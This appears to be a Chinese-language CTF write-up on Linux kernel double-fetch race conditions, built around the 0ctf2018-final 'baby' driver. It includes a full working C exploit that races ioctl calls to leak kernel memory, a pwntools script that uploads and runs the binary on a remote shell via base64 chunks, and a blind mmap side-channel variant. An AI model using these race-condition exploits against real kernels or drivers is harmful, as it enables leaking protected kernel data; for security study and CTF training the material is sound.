linux kernel pwn學習之double fetch

Double fetch

Double fetch漏洞是一種條件競爭漏洞,由於多線程的原因,使得內核裏多次訪問到用戶的數據不一致而引發的漏洞。我們用戶態傳數據給內核,如果是簡單的數據,則按傳值傳遞,如果數據量很大很複雜,我們則傳指針給內核。內核裏首先會對數據的合理性進行校驗,校驗成功後,待會內核又重新在某處來訪問我們的數據,而如果有另外一個線程在這之前篡改了數據,就使得數據不一致,從而可能形成漏洞。

我們以0ctf2018-final-baby這題爲例

首先,我們用IDA分析一下ko驅動文件

經過分析,驅動裏的ioctl函數定義了兩個交互命令,0x6666命令,用於獲取驅動裏的flag的地址,0x1337用於傳遞給驅動數據,如果檢驗成功,則輸出flag。

檢驗點有三個

  1. 傳遞的數據指針範圍必須在用戶態內存內
  2. 傳遞的長度必須等於真正的flag的長度
  3. 傳遞的flag的內容必須與內核裏的flag內容一樣

傳給內核的數據結構如下

  1. typedef struct {  
  2.    char *flag_addr;  
  3.    size_t len;  
  4. } Data;  

顯然,我們直接把flag_addr傳爲內核給我們的那個flag地址,不能通過if裏面的驗證。我們可以以多線程來思考這個問題。我們開一個線程,裏面不斷的修改flag_addr爲內核態的flag地址。然後再來一個線程,不斷向內核傳輸能夠通過驗證的數據。兩個線程會有碰撞,如果第二個線程在某時刻,數據通過了內核的驗證,但內核還沒有執行for循環,此時,另一個線程,修改了用戶態的flag_addr,將它指向了內核態的flag。接下來,第二個線程開始執行for循環了,通過驗證,最後輸出flag。

我們的exploit.c程序,如果沒有得到flag,可以多試幾次,注意使用靜態編譯

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define LINE_LEN 0x100
//碰撞次數
#define TRYTIME 0x3000

//傳給驅動的數據結構
typedef struct {
   char *flag_addr;
   size_t len;
} Data;
//我們用戶態的一段緩衝區
char user_buf[0x34] = {0};
int finished = 0;


long flag_addr = -1; //內核返回給我們的flag_addr地址
//這個線程,用於修改通過驗證的data裏面的flag_addr
void changeFlagAddr(void *s) {
   Data *data = (Data *)s;
   while (!finished) {
      data->flag_addr = (char *)flag_addr;
   }
}

int main() {
   //線程句柄
   pthread_t t1;
   //打開驅動的文件描述符
   int fd = open("/dev/baby",O_RDWR);
   //請求驅動返回給我們flag的地址
   ioctl(fd,0x6666);
   //關閉標準輸入輸出緩衝
   setvbuf(stdin,0,2,0);
   setvbuf(stdout,0,2,0);
   setvbuf(stderr,0,2,0);
   //讀取flag的地址
   FILE *info = popen("dmesg","r");
   fseek(info,-LINE_LEN,SEEK_END);
   char line[1024];
   while (fgets(line, sizeof(line),info) != NULL) {
      char *index;
      if ((index = strstr(line,"Your flag is at "))) {
         index += strlen("Your flag is at ");
         flag_addr = strtoull(index,index+16,16);
      }
   }
   pclose(info);
   if (flag_addr == -1) {
      printf("error:get flag addr!\n");
      exit(-1);
   }
   printf("flag_addr=0x%lx\n",flag_addr);
   //準備好我們的數據,全爲用戶態數據,待會發給驅動,通過驗證
   Data data;
   data.flag_addr = user_buf;
   data.len = 33;
   //開啓一個線程,不斷嘗試把flag_addr指向內核態的flag_addr
   pthread_create(&t1, NULL,changeFlagAddr,&data);
   //正常線程,不斷嘗試發送合法的數據給驅動
   for (int i=0;i<TRYTIME;i++) {
      ioctl(fd,0x1337,&data);
      data.flag_addr = user_buf;
   }
   finished = 1;
   //等待線程結束
   pthread_join(t1, NULL);
   //關閉文件描述符
   close(fd);
   puts("the result is:");
   system("dmesg | grep flag");
   return 0;
}

如果在遠程,我們則先在本地編譯好二進制文件,然後藉助於base64編碼來傳送二進制文件到遠程執行。

transfer.py

 

#coding:utf8
from pwn import *
import base64

sh = remote('xxx',10100)

#我們編寫好的exploit
f = open('./exploit','rb')
content = f.read()
total = len(content)
f.close()
#每次發送這麼長的base64,分段解碼
per_length = 0x200;
#創建文件
sh.sendlineafter('$','touch /tmp/exploit')
for i in range(0,total,per_length):
   bstr = base64.b64encode(content[i:i+per_length])
   sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
   bstr = base64.b64encode(content[total-i:total])
   sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr))

sh.sendlineafter('$','chmod +x /tmp/exploit')
sh.sendlineafter('$','/tmp/exploit')


sh.interactive()

本題還可以使用盲注,因爲flag被硬編碼在ko驅動文件裏,我們可以在用戶態mmap兩塊內存,其中第一塊內存可讀寫,第二塊內存設置不可讀寫,然後,我們將需要對比的那個字符放在第1塊內存的末尾,由於第二塊內存不可讀寫,驅動在執行for循環對比字符時,如果我們猜測的前一個字符是正確的,將會繼續訪問下一個字符,而下一個字符的位置在第二塊不可讀寫的內存,此時內核就會報錯。由此,我們可以來判斷是否猜測正確。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章